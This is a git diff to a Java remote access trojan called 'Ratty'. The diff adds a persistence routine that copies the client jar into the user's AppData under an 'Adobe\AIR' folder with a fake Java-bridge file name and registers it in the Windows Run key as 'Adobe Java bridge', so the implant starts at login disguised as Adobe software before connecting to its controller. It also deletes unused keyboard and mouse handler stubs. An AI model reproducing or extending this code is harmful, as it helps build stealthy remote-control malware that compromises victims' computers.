diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 1591296..886438a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -1,12 +1,17 @@ package de.sogomn.rat; import java.awt.Color; +import java.io.File; +import java.io.IOException; +import java.net.URI; +import java.net.URISyntaxException; import javax.swing.JOptionPane; import javax.swing.UIDefaults; import javax.swing.UIManager; import javax.swing.plaf.nimbus.NimbusLookAndFeel; +import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGuiController; @@ -18,6 +23,8 @@ public final class Ratty { public static final int PORT = 23456; public static final boolean CLIENT = false; public static final String VERSION = "1.0"; + public static final String FOLDER_NAME = "Adobe" + File.separator + "AIR"; + public static final String FILE_NAME = "jre13v3bridge.jar"; private Ratty() { //... @@ -40,6 +47,21 @@ public final class Ratty { } } + private static void addToStartup() { + try { + final URI sourceUri = Ratty.class.getProtectionDomain().getCodeSource().getLocation().toURI(); + final String destinationPath = System.getenv("APPDATA") + File.separator + FOLDER_NAME + File.separator + FILE_NAME; + final File source = new File(sourceUri); + final File destination = new File(destinationPath); + final String registryCommand = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + destinationPath + "\""; + + FileUtils.copy(source, destination); + Runtime.getRuntime().exec(registryCommand); + } catch (final URISyntaxException | IOException ex) { + ex.printStackTrace(); + } + } + public static void connectToHost(final String address, final int port) { final ActiveClient newClient = new ActiveClient(address, port); final Trojan trojan = new Trojan(); @@ -67,6 +89,7 @@ public final class Ratty { setLookAndFeel(); if (CLIENT) { + addToStartup(); connectToHost(ADDRESS, PORT); } else { final String[] options = {"Server", "Client"}; diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 82cc1d3..564703b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -4,8 +4,4 @@ public interface IGuiController { void userInput(final String actionCommand); - void keyboardInput(final int key, final boolean flag); - - void mouseInput(final int x, final int y, final int button, final boolean flag); - } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 644ffad..0fd73c2 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -262,14 +262,4 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } } - @Override - public void keyboardInput(final int key, final boolean flag) { - //... - } - - @Override - public void mouseInput(final int x, final int y, final int button, final boolean flag) { - //... - } - }